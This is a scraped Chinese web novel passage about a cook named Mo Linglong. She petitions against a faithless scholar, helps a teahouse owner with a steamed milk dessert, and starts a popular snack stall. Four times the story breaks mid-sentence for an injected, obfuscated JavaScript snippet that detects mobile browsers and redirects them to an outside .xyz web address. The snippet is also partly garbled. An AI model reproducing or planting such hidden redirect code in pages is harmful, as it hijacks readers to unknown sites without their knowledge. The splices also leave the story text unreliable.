要说一句不急，那是自欺欺人。 范氏看日头已经不早，也该喊醒儿子，便故作神秘：“不信你瞧！” 她摇醒儿子，只见沈小爷揉了揉惺忪的睡眼：“娘，吃饭吗？” 居然一开口就是句子！ 沈译之喜滋滋：“我儿就是贵人语迟，说得这样好了！什么时候开口的？” “就回来船上，突然就说了。” 夫妻俩正说得兴高采烈，沈小爷不满了，急躁地蹬开丝被说：“我要吃饭！” “儿子饿啦？好，开饭！”沈译之笑得露出牙花子，扬声让下人准备开饭。 但等穿衣停当开饭，坐上桌后，沈小爷看着满桌饭菜，却一反睡醒时吵着要饭吃的急切。 李嬷嬷笑着哄：“少爷是不是好久没看到这么多菜了？瞧，这道蜜汁羊腿，肉嫩得很，你不是最喜欢吃莫娘子做的烤羊肉串吗？一样的！” “莫娘子？谁？”沈译之问。 范氏笑：“莫娘子是个开食肆的姑娘。回来船上，瑞儿讨了人家几块松饼，后来又赖上人家做的饭，我就索性请她做每日做两餐。你不是问瑞儿怎么脸圆了一圈吗？喏，就是吃出来的！” 但沈小爷浅尝了一口，立刻皱着眉推开：“不要了！” 其他的菜也都只是浅尝，被李嬷嬷喂个七八分饱后，便下桌不肯再吃。 范氏有些困惑。 沈家的家厨，一直都是家生子。 自小传承手艺，做菜当然也拿得出手，大宴小酌都做得。 可想到沈小爷也就回上京船上胃口惊人，她还是尝了每道菜，比较出了其中些微的差别。 莫玲珑做的菜，每一道做法都根据食材情况来定，总有些她自己的巧思。 就拿羊肉来说。 第一日她拿来清炖，加萝卜和香料，炖出来毫无腥膻气，羊脂半融其中，丰腴多汁。 撇去浮油后，汤水也不肥人。 到了第二日，她切成小块串起来烤，洒上她自己配的“十三香”，香透了整条船。 而自家的厨子，严格按照上一代传下来的菜谱，没什么创新。 就拿羊来说，蜜汁羊腿，烤全羊……似乎没了其他印象深刻的菜色。 看来得安排厨房好好学一下外面的菜了。 沈译之看儿子只吃这么点，脸色一沉就要训人。 范氏岔开话题：“官人你外面酒楼见得多，可听过一家叫玲珑小馆的饭馆？门脸儿应该不大。” 沈译之想了半天，肯定地摇头：“没有！” 随即想起刚才夫人说的，“是船上那个厨娘的店？既是瑞儿爱吃的，你等着，我托人去问。” 一连十日，五城兵马司的指挥使都没从部下口中，得到一星半点关于这家饭馆的消息，只好歉然地给沈译之回复：“有负大人所托，下官在内城和外城交叉布置给巡街的兄弟们，并无这家名叫玲珑小馆的踪迹。但大人放心，下官一定继续留意，一有消息就来报！” 指挥使熊鹤龄是个大嗓门，远远把声音送到了外间。 来厅堂送文书给知事归档的书吏听到后一激灵，看着手里已经攒了三份一模一样的状纸，喃喃自语：“玲珑，玲珑，怎么这俩字阴魂不散的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716595|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫玲珑坚持天天到京兆府告状，已连续数日。 她认熟了值房的门子和书吏，无论对方是否认出她来，也无论对方是否劝退，她都坚持把状给告了，并“督促”、“打听”、“请求”将她的状纸提交上去。 她已经清楚，她的状纸大概很难“自然地”上交到都察院。 但她也要这么做。 做了或许也没用，不做肯定没可能。 自上而下告渣男进度缓慢，但她有了别的进展。 ——她，知道渣男新养的鱼是哪家的了。 莫玲珑这几日除了一大早吃完早饭，去京兆府告完状，剩下大把的时间。 她便在客栈对面的茶楼，点一壶10文的茶水坐到下午天色擦黑，再去借了客栈的灶房做晚饭。 她的客房视角太窄，侦查不到渣男出入情况。 茶楼就不一样了，转角270度宽大视角，眼观六路耳听八方。 在茶楼，她听遍各种市井八卦，上到当今皇室的花边新闻，下到隔壁二傻子半夜裸奔。 自然，也听到不少新科一甲进士的猛料。 比如，状元年纪太大，眼睛都老花了。 榜眼虽然文章做得精彩，却长了张抱歉的脸，论风光比不上探花，刚刚二十出头的年纪，长得也算清俊。 “你见过人家？长得有多好？” “我天天在这儿，当然见过！从马车上下来，大高个儿，白皮子，那模样斯文得很。” 莫玲珑感慨，无论时代如何变迁，普罗大众对八卦的热爱，是深入骨髓的。 “瞧，那不就是？” 正说着，位于话题中心的陆如冈，正从一辆黄杨细雕，青缦车盖的马车上下来，下车后站定，站直。 直到目送那辆敦实考究的马车驶远。 莫玲珑拿起茶杯挡住脸，看他走进了那处标准化建设的宅院。 她礼貌打断隔壁两个正对天下大势唾沫横飞的大爷：“劳驾，刚才那辆马车，是谁家的啊？” “可不就是章大人家的？！姑娘你不是本地的吧？” 莫玲珑虚心求教：“章大人是……？” “嗐，吏部尚书啊！首辅大人是这个，”那人比了个大拇哥，“章大人就是这个。”他又比了个食指。 大爷不用莫玲珑问，自己滔滔不绝继续，“章大人一儿一女，儿子娶了内阁千金，闺女嘛，看起来是相中了金科探花，都送人回来好几回了。这高娶低嫁啊，里头学问大着呢！” “娶高门媳，等于给儿子找了第二个靠山，但低嫁嘛，说白了就是给自己再找个半子，闺女不受婆家气，官场上还能多个门生！” “受教了。”莫玲珑点头。 看来陆如冈待价而沽，找到价高的买家准备卖.身了。 既然告状受阻，那她何不双管齐下，从他买家这头也想想办法？ 正跟大爷打听范氏给的住处是什么门第，茶楼里传出吵吵嚷嚷的声音：“不管你想什么办法，这个酥酪我家夫人非吃不可！” 酥酪，是糖蒸酥酪吗？ 12. 渣男的鱼 争吵声从里面的雅间传出，不少散桌上的茶客站起来看热闹。 莫玲珑挤在人群中往里看，但她不是为了听八卦，只是想看看酥酪这样吃食。 这家茶楼除了各种茶水外，另供应酥酪。 据老茶客说，茶楼卖的酥酪源自宫里的方子，极为正宗。 莫玲珑抠搜，只点最便宜的粗茶，这30文一小份的甜品对她而言，换成菜够吃两天了。 也鲜少有散客点酥酪，故而，她还一直没看见这点心长什么样。 上辈子她很爱吃老北京胡同里的酪。 后来钻研出方子，馋了就自己做。 做法也很简单，掌握好比例不比牛奶店的酪逊色。 将浓稠米酒浆兑入鲜浓的牛奶，稍放一会儿就会凝成酪，面上撒烤过的松子仁、谷脆，嘎吱嘎吱，口感丰富，还十分抵饿。 不知这茶楼的酥酪，是怎么做的？ 她这么想着，便随人群往前又挤了挤。 越往里，越安静。 待看清雅间里的情况，她停住脚步，往回微收。 雅间的客人看衣着打扮是个官家夫人，垂着眼，举止优雅地喝着香茶，出声的是她身旁的婢女，正凶巴巴地骂另一个女子。 挨骂的女子是这家茶楼的东家。 莫玲珑有时来得早，她会亲自给她泡茶，即便她买的，不过是十文钱可以坐一天的最最粗的茶。 此刻，她承受着婢女的辱骂，侧身默默垂泪。 “怎么着了这是？” “不就是没酪了嘛，明儿赶早就得了呗。” “……” 见围观人群为店家不平，婢女扬声：“都别瞧了，散了散了！” 然而说着散了，却变本加厉声音变大，“什么没有了，我看你就是不想给夫人做！不是巴不得给我家夫人端茶送水吗？今天连一碗酪都不肯做？” 女子福了福，颤声：“真是不巧，今日酪引子用完了，何芷绝不敢对夫人有丝毫不敬的意思。” “你最好是真的不敢！”婢女斜乜着她，不依不饶，“既然没有酥酪，那换一样别的吧，听说你样样都学过，本事大着呢，总不至于只会一样吃食？” “奴家真不会别的。”何芷垂着头，泪水蓄满了眼睫。 围观人群的议论声中，一道稚嫩的斥声劈过来：“是谁来欺负我娘？请你们走！”店小二气喘吁吁地，跟在一个约莫七八岁的女孩儿身后。 小女孩梳着双髻，一身半新不旧，但收拾得很干净得体的衣裙，气势汹汹如小狮子一样扑进雅间，拦在了店家和那凶婢之间。 婢女在小女孩面前气势矮了一头，强自镇定：“夫人特意为了你家酥酪来的，你娘说没有，也不肯再做，这不是摆明了怠慢不敬？” 何芷扯过女儿：“好叫夫人知道，酥酪每一日都是有定量的，酪引子需得提前一天备着，今天真的都卖完了。” 说完，睁着泛红的眼，朝门外看热闹的茶客僵硬地福了福身：“劳烦各位客人离开。” 众人渐渐散去。 这个东家，一直是温温柔柔，没什么脾气的样子，没想却有个泼辣的女儿，出了事能挡在母亲前面。 隔着门，小女孩的声音听不真切，莫玲珑思绪有些飘远。 上辈子，她好像也有过类似的时刻。 妈妈生下她不久得病去世，从此爸爸远走异乡，十几年间只回来过寥寥几次，也再不寄钱回来。 她从小跟奶奶相依为命。 每每因为缺钱过不下去时，奶奶会去求同村的旁支借。 起初还好，后来次数多了，难免有些难听的话。 她年纪小时听不得那些挖苦讽刺，骨头很硬地顶嘴回去。 每当这时，奶奶就会垂泪，不声不响坐在灶前很久很久。 所以后来她选择去做能尽快赚钱的厨师。 穿上厨师白褂那天，她兴冲冲在奶奶面前转了个圈：“奶奶，以后我能养你了！” 只可惜，她没能养多少年。 争吵声还在继续，莫玲珑慢慢收回思绪。 她不知道这对母女跟那个夫人之间什么关系，单凭小女孩这份胆气，她决定今天管一回闲事。 她喊住从雅间灰溜溜出来的店小二：“劳驾，灶房里可还有牛乳、鸡蛋？” 店小二愣了愣：“有的，客人。” “带我去。” 店小二嗫嚅：“客人不能进灶房。” 莫玲珑笑笑：“我是厨子，做个点心给你店家解围。你若不放心，可让人在灶房看着我做。” 店小二眼睛睁大：“果真？” “真，比珍珠还真。” 莫玲珑进了茶楼灶房。 因为此地是家茶楼，灶房里也多是各色用来煲水的陶壶，只有一个蒸笼屉坐在灶上，想必是专门用来做那道酥酪的。 “牛乳，糖，鸡蛋。”莫玲珑一边洗手，一边交代。 店小二整个人还在紊乱中，手忙脚乱找齐她要的材料。 莫玲珑惊讶发现，茶楼里居然有冰！ 店小二找来的牛乳镇在冰桶里，她闻了下很新鲜。 原想着店里既然能做酪，想必一定有牛奶。 既然真有，她便用牛奶做一道经典甜品双皮奶，替小姑娘应付这场刁难。 双皮奶需要的材料简单，口感醇厚清甜，爱吃奶制品的很少有人会不爱。 “你替我烧火。” 店小二还有些愣愣的，但莫玲珑那份气定神闲的气度，让他不由自主信服，心甘情愿地在灶前坐下烧火。 冰桶里剩的牛奶不多，莫玲珑目测出量后，找了四个带盖的茶盏，隔水蒸奶。 同时，一边打散蛋液跟白糖搅匀。 蛋液这一步也可只取蛋清，但嫩是嫩了，会有蛋腥味，其实顺德不少老铺用的是全蛋。 莫玲珑则是用两个蛋清配一个蛋黄的比例，乳化、嫩滑和颜色都能兼顾到。 牛奶蒸热时，她已经拿纱布筛好蛋液，手速飞快地分离奶皮，倒奶液进蛋液里搅匀，筷子撩起奶皮再将混合好的蛋奶液一个个倒回茶盏里。 茶盏来做这道甜品真的很合适，带盖，尺寸小，很快就蒸出来平整嫩滑，泛着奶香味的双皮奶。 店小二看得一愣一愣。 娘子做酥酪的时候，都避着人。 虽然用到酪引子他们都知道，然而酪引子怎么做，具体放多少却是秘方。 但这位客人做的时候，完全不避开人，可自己怎么就没看清手法，这么倒来倒去的就成了呢？ “客人，您贵姓？”他咽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716596|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口口水，香甜的奶味儿闻着太香了，“这也是酥酪吗？” “免贵姓莫。”莫玲珑正低头摆盘，闻言随口答道：“你就说这个叫糖蒸玉酪吧！” 她将冰桶里的冰挖出来盛在一个茶盘里，把四个装了双皮奶的茶盏置放上去，每个配一把竹匙，见灶房外是一片开得正旺的红色月季，让店小二摘几朵过来。 莫玲珑扯下花瓣，挑了形状完美的几片撒在冰上，顿时袅袅蒸腾的白汽中，多了几点艳色点缀。 店小二已经看傻了，对着茶盘说不出话来。 “端上去给你东家解围，记住，这四个最少要卖300文。”她整好衣袖，重新回到她270度景观位继续监视渣男，深藏功与名。 店小二小心翼翼，像捧着金子一样端着茶盘，敲响雅间的门。 婢女来开门，看到他手里的东西惊讶了一瞬，随即扭头看着那对抱头垂泪的母女：“这不还有酥酪吗？！还说没有？” 何芷倏然抬头看过来，店小二结结巴巴地说：“刚请人做出来的，这不是酥酪，这叫，叫糖蒸玉酪。” 婢女看得目不转睛。 真稀罕啊，大热天的用冰做盛器，散发白色烟气，有点仙气飘飘的味道。 “夫人你瞧——”她一把从店小二手里端走茶盆，脸上难掩惊艳之色。 这时何芷也看过来，见状惊讶地看着小二。 “这是什么？”一直没吭声的夫人终于开口，伸手拿下一个茶盏打开。 里头的酪洁白如玉，表皮微微起皱，闻起来有一股浓郁奶香——同那酥酪果真是不一样的，酥酪有一股淡淡酸味。 她用搁在盖上的竹匙挖了一勺，一入口便愣住。 轻软，甜嫩，伴着浓浓的奶香，一吸溜就进了嘴，只留下满口的清甜。 那酥酪她也找人买回家尝过。微酸，甜嫩，奶香也足，但不如口中的玉酪丰润。 公道地说滋味各有千秋，但这玉酪，光摆盘就胜了。 自家相公梦里念念不忘的酥酪，和做酥酪的女人……哼，不过如此。 “这四个我都要了。”她擦擦嘴角，厌恶地看着店家娘子，“你们下去。” 店小二看看自家东家不吭声，也不敢吱声。 到底还报不报这300文的价啊…… 小姑娘仰头擦掉母亲脸上的眼泪，倔强地瞪着姿态高高在上的女人：“这位夫人，刚才您也听到了，玉酪是请了别人做的，您既吃了，需得付钱！” 店小二终于有插嘴的机会，忙不迭报上去：“三，三百文。” 女人脸色难看，让婢女掏钱，负气一样把四碗玉酪悉数吃完，才扬长而去。 第二天，莫玲珑从京兆府告完状，沿着内城逛了一圈回到客栈，被已经熟了脸的店小二迎面截住，请去了二楼一个小间。 推开门，小小的茶室拥有360度全景观视野，陈设半新不旧但很精致。 她刚要拒绝，却从楼上往下看到，巷子的转角处，陆如冈从一架马车上下来，遥遥向隔着十米远的另一架马车拱手致意，笑得一脸春风得意。 马车侧帘一角，露出一只丰润白皙的手。 显然，里面坐着个姑娘。 哦，又是那架黄杨细雕，青缦银绣的马车。 那是——渣男的鱼。 13. 第 13 章 莫玲珑看着马车从另一侧离开。 此刻若是坐在楼下，大概也只能看到他路过茶楼，但看不到那驾马车。 吏部尚书家的千金。 真是好大一条鱼啊。 攀上这门亲事，别说少奋斗二十年，说他重新改写人生起点都不为过。 而普通人，想要把状纸递到都察院都难如登天。 莫玲珑冷静盘算着自己的处境。 这半个月只出不进，也不知不觉花去了将近二两银子。 她所剩的银两，按最低消费可以再花四个月。 可四个月要是还没告成呢？ 即便告成了，审案判决需要多久？ 她等不了那么久。而且，得想办法赚钱了。 再说到范氏。 这段时间她每天去京兆府告状，来回走不同路线，把上京的情况，京城里京官的住处按三六九等，摸了大概的情况。 范氏给的地址，是三品大员才有资格住的片区。 她若是去求人，凭着船上的那点情分，应该能进得了门。 可她一向认为，求人不如让人求。 人跟人之间的交际，本质是价值交换—— 在船上时，她做的饭菜合沈小爷胃口，于是范氏有求于她，故而对她高看一眼，临走还给丰厚的小费。 她现在对上京的关系网络和派系一无所知。 贸然求上门，不妨碍倒也罢了，若是利益冲突，就完全浪费了范氏这点情分。 该怎么让范氏主动找她？ 要是能开店出摊就好了。 凭着对沈小爷口味的了解，她能做出很多他一定会喜欢的菜品和点心。 开店出摊…… 氤氲的茶香打断她的思绪。 她收回神，何芷正安静地坐在茶台前泡茶。 眼睫微微低垂，瘦削而柔弱的侧影，是个忧郁美人，让人心生怜惜。 她手腕轻抬，壶中茶水一上一下，划下均等弧线，分毫不差地落入茶盏。 拂盏动作轻盈，恰如其分地掌控着茶汤入盏，激发出茶香的层次。 “是不是打扰你了？看你在想事。”她托着茶盏送过来。 莫玲珑谢过。 “还未谢姑娘你昨日替我解围。”她盈盈一礼，“不知能否冒昧问姑娘贵姓？” “免贵，莫玲珑。不过是举手之劳，不用特意这样客气。”莫玲珑指着茶室。 何芷摇头，坚持道：“这间茶室是我自用的，今后莫姑娘只要来我店里，就用这间。冒昧问一句，姑娘是在这里等什么人吗？我看你日日都来。” “算……是吧。” 日日来观察渣男行踪，勉强也算。 何芷暗暗打量着莫玲珑。 昨日自己丢了大脸，幸而得她相助。 那主仆俩离开后，自己整理完仪容想出来谢她，却得知她早就离开。 她问小二那道玉酪怎么做的，只说看得眼花缭乱。 可见眼前这位姑娘，是真有本事在手里的。 何芷知她住对面客栈，应是普通人家出身，有心想结交，正忖度如何开口，却听一阵急促的脚步逼近茶室。 “东家，东家你在吗？”店小二隔着门急声问。 何芷唰地站起，拉开门：“怎么了？” “昨，昨天那个夫人的婢女又来了，说要点十盏玉酪，叫酉时前送去李大人府上。”他一边说，一边拿眼镜瞟着莫玲珑。 何芷咬着唇，也向她看过来。 一次是解围，哪能次次求人解围？ 可要如何开口，才不难堪…… 莫玲珑却在这个瞬间有了计策。 开店不能一蹴而就，何不借人家的茶楼卖甜品？ 上辈子，她也不是一开始就有资本开店的。 那时她还在上学，在宿舍里弄点不费事的茶饮、轻食，塞点好处借宿管阿姨的冰箱。 客户从零星几个，慢慢发展成一个百多人的大群，每天在群里发菜单接龙，能赚出自己和奶奶的生活费。 莫玲珑坐正了，微微一笑：“何娘子，我有个想法。” 何芷此时拿她当救命稻草，洗耳恭听。 “酥酪既然能成为茶楼招牌，想必客人饮茶时乐意吃点甜品小食，而且利润还高，对吗？” 何芷想了想茶楼每月的盈余情况，酥酪的材料易得，但卖得贵，其实比卖茶赚钱，于是点点头。 “那何娘子为何不多添几种？” 何芷为难：“不瞒莫姑娘，我拿手的也就一道酥酪，就这做起来都费事，因那酪引子不好多做，多出来的渣麻烦。” “你滤了甜酒的汁，剩下的醪糟也可以做甜品，怎么会浪费？” 何芷一愣，没想到莫玲珑居然深谙其中门道，更确定了她的本事远在自己之上。 毕竟，她当年在教坊司所学都是为了讨好爷们儿，学茶道只是添点雅，灶房上的本事根本没处学，这酥酪还是嬷嬷看她喜欢吃才说予她听，说是宫里的方子外头没有。 “我不会做别的。”何芷说完，鼓起勇气开口，“莫姑娘，今天这十盏玉酪，能否麻烦你帮忙，我按你上次说的价……” 这时，门被推开，何芷的女儿冲进来，大声说：“娘，昨晚你不是明明想好了，怎么不说呀！” 她仰起认真的小脸看着莫玲珑，“莫姨姨，我娘想请你来店里做玉酪，刚听你说的，一定还会做别的，是不是？” “对，我还会做许多甜品小食，样样新奇。”莫玲珑微笑，“但我不能答应受你母亲雇佣。” 莫玲珑说完，小姑娘脸色有些垮：“我知道，我娘给不出太高的月钱……” “不是这样。” 莫玲珑看着何芷，“我想跟何娘子合作，而不是雇佣的关系。” “合作？” 莫玲珑说：“对。每日出什么甜品，供应多少，价格几何，这些我来定。用你的灶房，单子我开你买材料，赚的净利你七我三。” 何芷想到她做的玉酪，那四小盏敢叫价300文，眼神有些异样。 她现在每日卖出30余份酥酪，一个月下来扣除掉牛乳和酿制酪引子的酒曲、糯米，约莫可以赚二十两银子。 如果换作玉酪，怕不是得翻两番不止，如果占七成的利…… 何芷心跳得快起来。 女儿扯了扯她衣袖，跺脚发急：“娘……” 像是怕她想岔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716597|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，错过这桩生意。 何芷唇角一抿：“这些不用你操心，你好好学老师安排的课才是正理。” 又对莫玲珑说，“莫姑娘，七成太多了。” 她不贪心。 莫玲珑见她已经动心，微微一笑：“不多，因为我还没说第二个条件。” 何芷松了口气：“你说。” 窗外知了声声，莫玲珑远远看到陆如冈的老仆东伯，颤颤巍巍拎着个篮子拐进胡同，菜叶青葱碧绿，清晰可见。 是真的离很近。 近得可以让她清清楚楚看到，陆如冈滚出这条胡同时的狼狈——终会有那么一天。 她脸上笑意温和，令人心生好感：“我在上京无处落脚，需你提供住处。” 何芷犹豫了。 她们母女住在此处，李郎虽然不会常来，但一个月总能见着一回。 要是多了个人住，哪怕住总是不便。 女儿急不可耐地推她：“娘，你快答应啊！” “可你爹会来，不甚方便。” 闻言，何芷的女儿脸一垮：“爹以后还会来吗？” 结合昨天听到的一言两语，莫玲珑略想就明白了。 何芷母女，约莫是昨日闹事那位夫人家中郎君的外室。 她不关心何芷为何有手有脚，有才有貌的，要去做人外室。 这是别人私事。 她眼下没有选择，只谈合作。 莫玲珑昨天用灶房的时候看过这房子的格局，跟莫家的铺子很像。 临街的上下两层铺面是茶楼，中间天井后头是住人的正房和厢房。 铺面连着灶房、柴房、和库房，下了钥跟后面自然隔开，两不相干。 “我不住你家后院厢房。灶房旁边的库房收拾一下就行，我进出不从后巷走。总归不叫你吃亏，如果一个月纯利你分不到50两，我分文不取。” 50两！ 何芷不再犹豫，想到前一天蒙受的羞辱，咬牙答应下来。 “那好，就今天开始吧。” 莫玲珑起身挽袖，“十个玉酪，多备点冰路上别化了，餐具让她们给押金，改天送回。” 她一叠声安排下来，店小二听凭指挥，顿时忙了起来。 自此，荷风茶楼开始供应“玲珑记”点心。 莫玲珑请何芷的女儿望兰，写每日挂在茶楼门口的点心海报。 小姑娘字体遒劲，根骨分明。 莫玲珑教她写得俏皮些，用上画画用的色料，神还原了现代常见的手写字海报。 悬在店门口，甚是吸睛。 招牌糖蒸玉酪，养颜甜酿，以及一出炉就卖空的葱油松饼——茶楼有定点供牛乳的路子，莫玲珑终于不缺奶用，甚至可以手摇黄油了。 开张十天，何芷惊讶地发现这点每天供不应求的小食，已经挣了50两。 而“玲珑记”这三个字，也经由五城兵马司的巡街小分队，上报到了指挥使熊鹤龄耳中。 “啥？那招牌的饼得排队买？恁多废话，那就排队给我买来！” 拿到小弟们孝敬的一罐葱油松饼后，熊鹤龄大步流星走出了一路香风细细的风姿，敲开了京兆府尹沈译之的值房。 14. 第 14 章 “某幸不辱命！”熊鹤龄扬着大嗓门，一只蒲扇大的手拍得沈译之几欲呕血。 “瞧瞧，是这玲珑记仨字吧？”他指着装有松饼的瓷罐封口，那里贴着一小枚洒金红宣，“玲珑记”三个字透着质朴之感。 旁边还有一行小字：质地酥脆，尽快食用。 瓷罐口垫着绵纸，但牛油的浓香还是绵绵不绝地从缝隙中逃窜出来， “嫂嫂是如何知道这玲珑记的？我听小子们说才开了没多久呐！” “她认得这玲珑记的东家。” 沈译之午饭没吃饱，这会儿馋虫被勾了出来，手贱地打开了罐子的封口。 口水难以自控，他不着痕迹咽下，“倒是挺有巧思，用这瓷罐装，想必价贵。” “可不是？这么一小罐卖200文，还一天只卖20罐！点了她家茶水堂食能便宜点儿，60文就有这罐里一半了。” 他没好意思说，那帮子巡街的混子，估计是没花钱。 沈译之仔细端详，一寸见方的大小，饼面油润细腻，非一般酥饼透着粉粒，青葱点缀其上，喷香喷香。 他瞅了眼罐子里，约莫有这样二十来块。 他想，夫人和瑞儿自然都尝过，此时肚饿，他且尝一块试试。 拿了一块塞进嘴里，牙刚碰到饼，还没咬呢，就化在了舌头上，香盈满口。 “唔——” 沈译之发出满足的声音。 他出身钟鸣鼎食之家，从小锦衣玉食，什么样的好东西没见过？ 但这么香脆的饼还真是第一次吃。 “是不是不错？” “真不错！” 熊鹤龄得意道：“听弟兄们说，每回这饼子出炉，整条街都香透，不用看那店门口招牌，立马有人排队。” 他说了半天，喷香的味儿闻着馋，“给我也来一块吧，我还没尝过呢。” 沈译之护着罐子：“你稀得几块饼？想吃明儿让你小弟给你排队去！” 他抓出一把碎银塞到这莽汉手里，“快回去，小心你被参玩忽职守。” “谁敢？ ”熊鹤龄嗓门实在大，招来从外边过来禀事的通判：“熊大人，刚才说的，可是东四巷荷风茶楼新营的小食甜品？” “正是！你瞧，你这儿就有人知道嘛！” “下官住得离那不远，先前儿那家茶楼只营一样酥酪，颇有些名声，现如今卖的玲珑记，听说是家擅造点心小食的南方馆子，借了茶楼营业，日日翻新那甜品小食单，刚才熊大人说的葱油松饼，因能买了外带，乃是卖得最好的一样，价贵也拦不住人排队呢。” 听完，沈译之把罐子护得更好了。 到了下值时辰，半点儿功夫也没耽搁，直接回家。 进了家门，照例先回房将公服换成常服，向范氏卖好：“夫人，你可知我今儿带了什么回来？” “什么？” 天气热，她本就恹恹的。 加之最近时节该考虑办赏荷宴的事了，正发愁没有新意，看着自家夫君兴冲冲的样子实在提不起劲来。 “算了，吃完饭再给你瞧。”沈译之强忍卖弄。 也是怕招来小儿子，本就没什么胃口，吃饼吃饱了不吃菜。 婢女白霜来问传不传菜，她嗯了声让先上一壶酸梅汤来开胃，又问，“今天肉菜里有没有添山楂？” 之前在船上，莫玲珑说过，要是沈小爷胃口欠奉，炖肉的料里加上一味山楂。 肉酥烂，且开胃。 “添了，灶上今天炖的酸梅汤请卢大夫看过，又添了一味太子参。” “好，摆饭吧。” 范氏最近头疼，小儿子又开始吃饭不香了。 每到饭桌上，就要跟他斗智斗勇。 酸梅汤用冰湃过，饭前来上一杯，酸甜开胃。 众人都喝得美。 沈小爷贪凉，不肯撒手，拿走就要嚎。 沈译之无奈拿饼出来说事：“儿子，你要把这顿饭，肉菜都好好吃，爹给葱油松饼你吃。” “葱，油，松，饼？”沈小爷抬头，满脸不信。 他求过多少回了，娘都没给他吃。 爹又没见过莫娘子，怎会有？ 范氏也诧异：“你怎么会有？” “买着了呗。”沈译之提前抖出来，“玲珑记开在东四巷！我今儿托人买到了葱油松饼，骗你们是小狗！” 沈小爷激动起来，两眼瞪得溜圆：“爹，不当小狗。” “啧！”沈译之哂笑不语。 饭罢，沈府尹拿出那罐葱油松饼，三人就着酸酸甜甜的酸梅汤吃完。 第二日等沈小爷歇完晌，娘俩就坐家里的马车去了东四巷。 那东四巷挨着内城，住的多是六七品小官，或者家有薄资的普通百姓。 故而，多是些经济实惠的店家。 荷风茶楼在其中，很是典型。 店里最为畅销的，是百文以下的散茶，还常有说书人驻场，茶客颇多。 沈府的轿子，走到巷口。 车夫还未张望，便见拐角处的店门口人头攒动，已是排起了队。 “到了吗？”范氏隔着车帘问。 沈小爷的屁股已经坐不住，动来动去，她都快出汗了。 “回夫人，前边的店家门口有人排队，小的去看看。”侍从答道。 不一会儿，侍从小步跑回来，“到了！排队这家就是荷风茶楼。” 范氏不耐烦坐轿子了，牵着沈小爷下轿，身边只带青翠，并两个侍卫护在身后。 只见门前横着一个队列，排队的每人手里捏着个竹片。 虽说此时日头不烈，但也有些热，但众人竟然无一不耐烦。 青翠安排了一个侍卫排队，又让侍从去问有无雅间。 范氏一路走过，众人的闲谈落入耳里： “今天的葱油松饼怎么放恁多牌？” “昨天就写海报上了，说今儿是松饼日，有40罐呐！不过我还想尝尝那蛋白杏汁，毛知事喝过，说甚是滑润，滋味浓郁。” “总不能比糖蒸玉酪还香甜吧？” “不是一样的味儿，那蛋白杏汁养人，我家娘子说那玲珑记的东家写着，说喝了皮肤白！” “这玲珑记到底是哪来的？咋个不自己开店？” “说那东家是南方人，来京办事顺道试试上京口味，不定啥时候就回去了呐。” “办啥事儿？怎的需要恁久？” “不知。但那东家说是上午要去办事，日日都是午时才开始做点心。” 范氏听到此处，已然确定是她，脚步快了几分。 进到里面，青翠引着母子俩到楼上雅间。 荷风茶楼的雅间，不过是跟外头隔开而已，不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716598|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上京一些以风雅知名的茶楼，或建在竹林松间，或窗景怡人。 水曲柳木桌上，躺着一张薄木板，刻有各色茶叶、茶具。 青翠已按范氏口味，点了一壶极品狮峰龙井。 此时茶具和茶叶已上桌。 另有一张生宣挂轴悬于桌上，写着“今日甜品”四字，字体圆拙透着稚气，下面写的是：蛋白杏汁、糖蒸玉酪两款。 范氏一看，便觉得是莫玲珑的巧思，对青翠说：“各点上五份，都尝尝，吃不完带回去。” “是，主子。”青翠高兴得很。 她早看到别人桌上的瓷盏了，肥白的汁子和酪，看人小口小口品着，怪馋人。 “再去问问，莫姑娘有空没，把人请过来！” 范氏看到这两样甜品，还未尝到味，光看这名就喜欢。 此时，莫玲珑在灶房，出最后一炉葱油松饼。 荷风茶楼盘下来之前，是一家京味馆子，有个用来熏腊味的炉子，何芷用不上却也没扒掉。 如今倒是方便了莫玲珑。 她稍作改装，这熏炉便成了个烤炉。 